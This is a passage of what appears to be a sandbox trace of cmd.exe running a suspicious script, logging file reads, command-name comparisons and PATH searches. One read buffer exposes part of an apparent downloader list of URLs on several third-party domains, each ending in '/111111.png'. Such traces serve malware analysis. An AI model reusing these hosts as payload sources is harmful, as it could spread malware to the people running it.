hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe2b [0231.403] ReadFile (in: hFile=0x9c, lpBuffer=0x7ff6e2e69970, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x9cb92fed90, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e2e69970*, lpNumberOfBytesRead=0x9cb92fed90*=0x98a, lpOverlapped=0x0) returned 1 [0231.404] SetFilePointer (in: hFile=0x9c, lDistanceToMove=3683, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe63 [0231.404] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e2e69970, cbMultiByte=56, lpWideCharStr=0x7ff6e2e73c30, cchWideChar=8191 | out: lpWideCharStr=" XP and is listed separately on this page. Synta \r\nSyntax in Windows Vista, 7, ...3 \r\nta, 7, ...\r\ntp://forum.insteon.com/suowb/111111.png','http://webtest.pp.ua/yksrpucvx/111111.png','http://quoraforum.com/btmlxjxmyxb/111111.png','http://quickinsolutions.com/wfqggeott/111111.png','http://bronco.is/pdniovzkgwwt/111111.png','http://studiomascellaro.it/wnzzsbzbd/111111.png','http://craniotylla.ch/vzufnt/111111.png^\r\n") returned 56 [0231.404] _get_osfhandle (_FileHandle=3) returned 0x9c [0231.404] GetFileType (hFile=0x9c) returned 0x1 [0231.404] _get_osfhandle (_FileHandle=3) returned 0x9c [0231.404] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe63 [0231.404] GetProcessHeap () returned 0x20b0f920000 [0231.404] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x4012) returned 0x20b0f94a220 [0231.404] GetProcessHeap () returned 0x20b0f920000 [0231.404] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f94a220) returned 1 [0231.404] _wcsicmp (_String1="XP", _String2=")") returned 79 [0231.404] _wcsicmp (_String1="FOR", _String2="XP") returned -18 [0231.404] _wcsicmp (_String1="FOR/?", _String2="XP") returned -18 [0231.404] _wcsicmp (_String1="IF", _String2="XP") returned -15 [0231.404] _wcsicmp (_String1="IF/?", _String2="XP") returned -15 [0231.404] _wcsicmp (_String1="REM", _String2="XP") returned -6 [0231.404] _wcsicmp (_String1="REM/?", _String2="XP") returned -6 [0231.404] GetProcessHeap () returned 0x20b0f920000 [0231.404] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xb0) returned 0x20b0f92e4d0 [0231.404] GetProcessHeap () returned 0x20b0f920000 [0231.404] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x16) returned 0x20b0f947cb0 [0231.404] GetProcessHeap () returned 0x20b0f920000 [0231.404] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x76) returned 0x20b0f94aff0 [0231.405] _tell (_FileHandle=3) returned 3683 [0231.405] _close (_FileHandle=3) returned 0 [0231.405] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x9cb92feb68 | out: _Buffer="\r\n") returned 2 [0231.405] _get_osfhandle (_FileHandle=1) returned 0x50 [0231.405] GetFileType (hFile=0x50) returned 0x2 [0231.405] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0231.405] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92feaf8 | out: lpMode=0x9cb92feaf8) returned 1 [0231.405] _get_osfhandle (_FileHandle=1) returned 0x50 [0231.405] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x9cb92feb38, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92feb38*=0x2) returned 1 [0231.414] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x20b0fa20080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0231.414] _vsnwprintf (in: _Buffer=0x20b0fa50160, _BufferCount=0x83e5, _Format="%s", _ArgList=0x9cb92feb78 | out: _Buffer="C:\\WINDOWS\\system32") returned 19 [0231.414] _vsnwprintf (in: _Buffer=0x20b0fa50186, _BufferCount=0x83d2, _Format="%c", _ArgList=0x9cb92feb78 | out: _Buffer=">") returned 1 [0231.415] _get_osfhandle (_FileHandle=1) returned 0x50 [0231.415] GetFileType (hFile=0x50) returned 0x2 [0231.415] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0231.415] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92feb28 | out: lpMode=0x9cb92feb28) returned 1 [0231.415] _get_osfhandle (_FileHandle=1) returned 0x50 [0231.415] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x20b0fa50160*, nNumberOfCharsToWrite=0x14, lpNumberOfCharsWritten=0x9cb92feb68, lpReserved=0x0 | out: lpBuffer=0x20b0fa50160*, lpNumberOfCharsWritten=0x9cb92feb68*=0x14) returned 1 [0231.416] _get_osfhandle (_FileHandle=1) returned 0x50 [0231.416] GetFileType (hFile=0x50) returned 0x2 [0231.416] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0231.416] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92fedf8 | out: lpMode=0x9cb92fedf8) returned 1 [0231.416] _get_osfhandle (_FileHandle=1) returned 0x50 [0231.416] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x20b0f947cc0*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x9cb92fee38, lpReserved=0x0 | out: lpBuffer=0x20b0f947cc0*, lpNumberOfCharsWritten=0x9cb92fee38*=0x2) returned 1 [0231.417] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x9cb92fee38 | out: _Buffer=" and is listed separately on this page. Synta ") returned 51 [0231.417] _get_osfhandle (_FileHandle=1) returned 0x50 [0231.417] GetFileType (hFile=0x50) returned 0x2 [0231.417] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0231.417] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92fedc8 | out: lpMode=0x9cb92fedc8) returned 1 [0231.417] _get_osfhandle (_FileHandle=1) returned 0x50 [0231.417] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x33, lpNumberOfCharsWritten=0x9cb92fee08, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fee08*=0x33) returned 1 [0231.418] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x9cb92fee68 | out: _Buffer="\r\n") returned 2 [0231.418] _get_osfhandle (_FileHandle=1) returned 0x50 [0231.418] GetFileType (hFile=0x50) returned 0x2 [0231.418] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0231.418] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92fedf8 | out: lpMode=0x9cb92fedf8) returned 1 [0231.418] _get_osfhandle (_FileHandle=1) returned 0x50 [0231.418] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x9cb92fee38, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fee38*=0x2) returned 1 [0231.423] malloc (_Size=0xffce) returned 0x20b0fa60940 [0231.424] ??_V@YAXPEAX@Z () returned 0x20b0fa60940 [0231.425] _wcsicmp (_String1="XP", _String2="DIR") returned 20 [0231.425] _wcsicmp (_String1="XP", _String2="ERASE") returned 19 [0231.425] _wcsicmp (_String1="XP", _String2="DEL") returned 20 [0231.425] _wcsicmp (_String1="XP", _String2="TYPE") returned 4 [0231.425] _wcsicmp (_String1="XP", _String2="COPY") returned 21 [0231.425] _wcsicmp (_String1="XP", _String2="CD") returned 21 [0231.425] _wcsicmp (_String1="XP", _String2="CHDIR") returned 21 [0231.425] _wcsicmp (_String1="XP", _String2="RENAME") returned 6 [0231.425] _wcsicmp (_String1="XP", _String2="REN") returned 6 [0231.425] _wcsicmp (_String1="XP", _String2="ECHO") returned 19 [0231.425] _wcsicmp (_String1="XP", _String2="SET") returned 5 [0231.425] _wcsicmp (_String1="XP", _String2="PAUSE") returned 8 [0231.425] _wcsicmp (_String1="XP", _String2="DATE") returned 20 [0231.425] _wcsicmp (_String1="XP", _String2="TIME") returned 4 [0231.425] _wcsicmp (_String1="XP", _String2="PROMPT") returned 8 [0231.425] _wcsicmp (_String1="XP", _String2="MD") returned 11 [0231.425] _wcsicmp (_String1="XP", _String2="MKDIR") returned 11 [0231.425] _wcsicmp (_String1="XP", _String2="RD") returned 6 [0231.425] _wcsicmp (_String1="XP", _String2="RMDIR") returned 6 [0231.425] _wcsicmp (_String1="XP", _String2="PATH") returned 8 [0231.425] _wcsicmp (_String1="XP", _String2="GOTO") returned 17 [0231.425] _wcsicmp (_String1="XP", _String2="SHIFT") returned 5 [0231.425] _wcsicmp (_String1="XP", _String2="CLS") returned 21 [0231.425] _wcsicmp (_String1="XP", _String2="CALL") returned 21 [0231.425] _wcsicmp (_String1="XP", _String2="VERIFY") returned 2 [0231.426] _wcsicmp (_String1="XP", _String2="VER") returned 2 [0231.426] _wcsicmp (_String1="XP", _String2="VOL") returned 2 [0231.426] _wcsicmp (_String1="XP", _String2="EXIT") returned 19 [0231.426] _wcsicmp (_String1="XP", _String2="SETLOCAL") returned 5 [0231.426] _wcsicmp (_String1="XP", _String2="ENDLOCAL") returned 19 [0231.426] _wcsicmp (_String1="XP", _String2="TITLE") returned 4 [0231.426] _wcsicmp (_String1="XP", _String2="START") returned 5 [0231.426] _wcsicmp (_String1="XP", _String2="DPATH") returned 20 [0231.426] _wcsicmp (_String1="XP", _String2="KEYS") returned 13 [0231.426] _wcsicmp (_String1="XP", _String2="MOVE") returned 11 [0231.426] _wcsicmp (_String1="XP", _String2="PUSHD") returned 8 [0231.426] _wcsicmp (_String1="XP", _String2="POPD") returned 8 [0231.426] _wcsicmp (_String1="XP", _String2="ASSOC") returned 23 [0231.426] _wcsicmp (_String1="XP", _String2="FTYPE") returned 18 [0231.426] _wcsicmp (_String1="XP", _String2="BREAK") returned 22 [0231.426] _wcsicmp (_String1="XP", _String2="COLOR") returned 21 [0231.426] _wcsicmp (_String1="XP", _String2="MKLINK") returned 11 [0231.426] _wcsnicmp (_String1="XP", _String2="cmd ", _MaxCount=0x4) returned 21 [0231.426] malloc (_Size=0xffce) returned 0x20b0fa70920 [0231.426] ??_V@YAXPEAX@Z () returned 0x20b0fa70920 [0231.427] GetProcessHeap () returned 0x20b0f920000 [0231.427] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1ffac) returned 0x20b0f957f90 [0231.430] SetErrorMode (uMode=0x0) returned 0x0 [0231.430] SetErrorMode (uMode=0x1) returned 0x0 [0231.431] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x20b0f957fa0, lpFilePart=0x9cb92feba0 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x9cb92feba0*="system32") returned 0x13 [0231.431] SetErrorMode (uMode=0x0) returned 0x1 [0231.431] GetProcessHeap () returned 0x20b0f920000 [0231.431] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f957f90, Size=0x3e) returned 0x20b0f957f90 [0231.431] GetProcessHeap () returned 0x20b0f920000 [0231.431] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f957f90) returned 0x3e [0231.431] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0231.431] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0231.431] GetProcessHeap () returned 0x20b0f920000 [0231.431] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1b4) returned 0x20b0f92ca50 [0231.431] GetProcessHeap () returned 0x20b0f920000 [0231.431] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x358) returned 0x20b0f92d430 [0231.431] GetProcessHeap () returned 0x20b0f920000 [0231.431] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f92d430, Size=0x1b6) returned 0x20b0f92d430 [0231.431] GetProcessHeap () returned 0x20b0f920000 [0231.431] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f92d430) returned 0x1b6 [0231.431] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0231.431] GetProcessHeap () returned 0x20b0f920000 [0231.431] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xe8) returned 0x20b0f947190 [0231.431] GetProcessHeap () returned 0x20b0f920000 [0231.431] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f947190, Size=0x7e) returned 0x20b0f956a30 [0231.431] GetProcessHeap () returned 0x20b0f920000 [0231.432] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f956a30) returned 0x7e [0231.432] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0231.432] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\XP.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.432] GetLastError () returned 0x2 [0231.433] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0231.433] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\XP.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.433] GetLastError () returned 0x2 [0231.433] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0231.433] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\XP.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.434] GetLastError () returned 0x2 [0231.434] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0231.434] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\XP.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.435] GetLastError () returned 0x2 [0231.435] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0231.435] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem\\XP.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.435] GetLastError () returned 0x2 [0231.435] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0231.435] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\XP.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.435] GetLastError () returned 0x2 [0231.435] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0231.436] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps\\XP.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.436] GetLastError () returned 0x2 [0231.436] ??_V@YAXPEAX@Z () returned 0x1 [0231.436] GetConsoleTitleW (in: lpConsoleTitle=0x9cb92feb80, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0231.438] malloc (_Size=0xffce) returned 0x20b0fa70920 [0231.438] ??_V@YAXPEAX@Z () returned 0x20b0fa70920 [0231.438] malloc (_Size=0xffce) returned 0x20b0fa80900 [0231.438] ??_V@YAXPEAX@Z () returned 0x20b0fa80900 [0231.441] _wcsicmp (_String1="XP", _String2="DIR") returned 20 [0231.441] _wcsicmp (_String1="XP", _String2="ERASE") returned 19 [0231.441] _wcsicmp (_String1="XP", _String2="DEL") returned 20 [0231.441] _wcsicmp (_String1="XP", _String2="TYPE") returned 4 [0231.441] _wcsicmp (_String1="XP", _String2="COPY") returned 21 [0231.441] _wcsicmp (_String1="XP", _String2="CD") returned 21 [0231.441] _wcsicmp (_String1="XP", _String2="CHDIR") returned 21 [0231.441] _wcsicmp (_String1="XP", _String2="RENAME") returned 6 [0231.441] _wcsicmp (_String1="XP", _String2="REN") returned 6 [0231.441] _wcsicmp (_String1="XP", _String2="ECHO") returned 19 [0231.441] _wcsicmp (_String1="XP", _String2="SET") returned 5 [0231.441] _wcsicmp (_String1="XP", _String2="PAUSE") returned 8 [0231.441] _wcsicmp (_String1="XP", _String2="DATE") returned 20 [0231.441] _wcsicmp (_String1="XP", _String2="TIME") returned 4 [0231.442] _wcsicmp (_String1="XP", _String2="PROMPT") returned 8 [0231.442] _wcsicmp (_String1="XP", _String2="MD") returned 11 [0231.442] _wcsicmp (_String1="XP", _String2="MKDIR") returned 11 [0231.442] _wcsicmp (_String1="XP", _String2="RD") returned 6 [0231.442] _wcsicmp (_String1="XP", _String2="RMDIR") returned 6 [0231.442] _wcsicmp (_String1="XP", _String2="PATH") returned 8 [0231.442] _wcsicmp (_String1="XP", _String2="GOTO") returned 17 [0231.442] _wcsicmp (_String1="XP", _String2="SHIFT") returned 5 [0231.442] _wcsicmp (_String1="XP", _String2="CLS") returned 21 [0231.442] _wcsicmp (_String1="XP", _String2="CALL") returned 21 [0231.442] _wcsicmp (_String1="XP", _String2="VERIFY") returned 2 [0231.442] _wcsicmp (_String1="XP", _String2="VER") returned 2 [0231.442] _wcsicmp (_String1="XP", _String2="VOL") returned 2 [0231.442] _wcsicmp (_String1="XP", _String2="EXIT") returned 19 [0231.442] _wcsicmp (_String1="XP", _String2="SETLOCAL") returned 5 [0231.442] _wcsicmp (_String1="XP", _String2="ENDLOCAL") returned 19 [0231.442] _wcsicmp (_String1="XP", _String2="TITLE") returned 4 [0231.442] _wcsicmp (_String1="XP", _String2="START") returned 5 [0231.442] _wcsicmp (_String1="XP", _String2="DPATH") returned 20 [0231.442] _wcsicmp (_String1="XP", _String2="KEYS") returned 13 [0231.442] _wcsicmp (_String1="XP", _String2="MOVE") returned 11 [0231.442] _wcsicmp (_String1="XP", _String2="PUSHD") returned 8 [0231.442] _wcsicmp (_String1="XP", _String2="POPD") returned 8 [0231.442] _wcsicmp (_String1="XP", _String2="ASSOC") returned 23 [0231.442] _wcsicmp (_String1="XP", _String2="FTYPE") returned 18 [0231.443] _wcsicmp (_String1="XP", _String2="BREAK") returned 22 [0231.443] _wcsicmp (_String1="XP", _String2="COLOR") returned 21 [0231.443] _wcsicmp (_String1="XP", _String2="MKLINK") returned 11 [0231.443] _wcsicmp (_String1="XP", _String2="DIR") returned 20 [0231.443] _wcsicmp (_String1="XP", _String2="ERASE") returned 19 [0231.443] _wcsicmp (_String1="XP", _String2="DEL") returned 20 [0231.443] _wcsicmp (_String1="XP", _String2="TYPE") returned 4 [0231.443] _wcsicmp (_String1="XP", _String2="COPY") returned 21 [0231.443] _wcsicmp (_String1="XP", _String2="CD") returned 21 [0231.443] _wcsicmp (_String1="XP", _String2="CHDIR") returned 21 [0231.443] _wcsicmp (_String1="XP", _String2="RENAME") returned 6 [0231.443] _wcsicmp (_String1="XP", _String2="REN") returned 6 [0231.443] _wcsicmp (_String1="XP", _String2="ECHO") returned 19 [0231.443] _wcsicmp (_String1="XP", _String2="SET") returned 5 [0231.443] _wcsicmp (_String1="XP", _String2="PAUSE") returned 8 [0231.443] _wcsicmp (_String1="XP", _String2="DATE") returned 20 [0231.443] _wcsicmp (_String1="XP", _String2="TIME") returned 4 [0231.443] _wcsicmp (_String1="XP", _String2="PROMPT") returned 8 [0231.443] _wcsicmp (_String1="XP", _String2="MD") returned 11 [0231.443] _wcsicmp (_String1="XP", _String2="MKDIR") returned 11 [0231.443] _wcsicmp (_String1="XP", _String2="RD") returned 6 [0231.443] _wcsicmp (_String1="XP", _String2="RMDIR") returned 6 [0231.443] _wcsicmp (_String1="XP", _String2="PATH") returned 8 [0231.443] _wcsicmp (_String1="XP", _String2="GOTO") returned 17 [0231.443] _wcsicmp (_String1="XP", _String2="SHIFT") returned 5 [0231.444] _wcsicmp (_String1="XP", _String2="CLS") returned 21 [0231.444] _wcsicmp (_String1="XP", _String2="CALL") returned 21 [0231.444] _wcsicmp (_String1="XP", _String2="VERIFY") returned 2 [0231.444] _wcsicmp (_String1="XP", _String2="VER") returned 2 [0231.444] _wcsicmp (_String1="XP", _String2="VOL") returned 2 [0231.444] _wcsicmp (_String1="XP", _String2="EXIT") returned 19 [0231.444] _wcsicmp (_String1="XP", _String2="SETLOCAL") returned 5 [0231.444] _wcsicmp (_String1="XP", _String2="ENDLOCAL") returned 19 [0231.444] _wcsicmp (_String1="XP", _String2="TITLE") returned 4 [0231.444] _wcsicmp (_String1="XP", _String2="START") returned 5 [0231.444] _wcsicmp (_String1="XP", _String2="DPATH") returned 20 [0231.444] _wcsicmp (_String1="XP", _String2="KEYS") returned 13 [0231.444] _wcsicmp (_String1="XP", _String2="MOVE") returned 11 [0231.444] _wcsicmp (_String1="XP", _String2="PUSHD") returned 8 [0231.444] _wcsicmp (_String1="XP", _String2="POPD") returned 8 [0231.444] _wcsicmp (_String1="XP", _String2="ASSOC") returned 23 [0231.444] _wcsicmp (_String1="XP", _String2="FTYPE") returned 18 [0231.444] _wcsicmp (_String1="XP", _String2="BREAK") returned 22 [0231.444] _wcsicmp (_String1="XP", _String2="COLOR") returned 21 [0231.444] _wcsicmp (_String1="XP", _String2="MKLINK") returned 11 [0231.444] _wcsicmp (_String1="XP", _String2="FOR") returned 18 [0231.444] _wcsicmp (_String1="XP", _String2="IF") returned 15 [0231.444] _wcsicmp (_String1="XP", _String2="REM") returned 6 [0231.444] ??_V@YAXPEAX@Z () returned 0x1 [0231.445] GetProcessHeap () returned 0x20b0f920000 [0231.445] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xffde) returned 0x20b0f957fe0 [0231.445] GetProcessHeap () returned 0x20b0f920000 [0231.445] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x7c) returned 0x20b0f956d90 [0231.445] _wcsnicmp (_String1="XP", _String2="cmd ", _MaxCount=0x4) returned 21 [0231.445] malloc (_Size=0xffce) returned 0x20b0fa80900 [0231.446] ??_V@YAXPEAX@Z () returned 0x20b0fa80900 [0231.447] GetProcessHeap () returned 0x20b0f920000 [0231.447] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1ffac) returned 0x20b0f967fd0 [0231.448] SetErrorMode (uMode=0x0) returned 0x0 [0231.448] SetErrorMode (uMode=0x1) returned 0x0 [0231.448] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x20b0f967fe0, lpFilePart=0x9cb92fe400 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x9cb92fe400*="system32") returned 0x13 [0231.448] SetErrorMode (uMode=0x0) returned 0x1 [0231.448] GetProcessHeap () returned 0x20b0f920000 [0231.448] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f967fd0, Size=0x3e) returned 0x20b0f967fd0 [0231.448] GetProcessHeap () returned 0x20b0f920000 [0231.448] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f967fd0) returned 0x3e [0231.448] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0231.448] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0231.448] GetProcessHeap () returned 0x20b0f920000 [0231.448] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1b4) returned 0x20b0f92d600 [0231.448] GetProcessHeap () returned 0x20b0f920000 [0231.448] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x358) returned 0x20b0f9255e0 [0231.448] GetProcessHeap () returned 0x20b0f920000 [0231.448] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f9255e0, Size=0x1b6) returned 0x20b0f9255e0 [0231.448] GetProcessHeap () returned 0x20b0f920000 [0231.448] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f9255e0) returned 0x1b6 [0231.448] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0231.449] GetProcessHeap () returned 0x20b0f920000 [0231.449] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xe8) returned 0x20b0f947550 [0231.449] GetProcessHeap () returned 0x20b0f920000 [0231.449] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f947550, Size=0x7e) returned 0x20b0f956e20 [0231.449] GetProcessHeap () returned 0x20b0f920000 [0231.449] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f956e20) returned 0x7e [0231.449] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0231.449] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\XP.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.449] GetLastError () returned 0x2 [0231.449] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0231.449] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\XP.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.450] GetLastError () returned 0x2 [0231.450] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0231.450] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\XP.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.450] GetLastError () returned 0x2 [0231.450] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0231.450] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\XP.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.450] GetLastError () returned 0x2 [0231.450] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0231.451] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem\\XP.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.451] GetLastError () returned 0x2 [0231.452] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0231.452] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\XP.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.452] 